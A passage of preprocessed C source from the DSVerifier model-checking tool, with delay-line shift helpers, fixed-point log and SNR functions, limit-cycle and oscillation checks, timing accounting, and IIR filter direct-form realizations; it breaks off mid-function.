# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
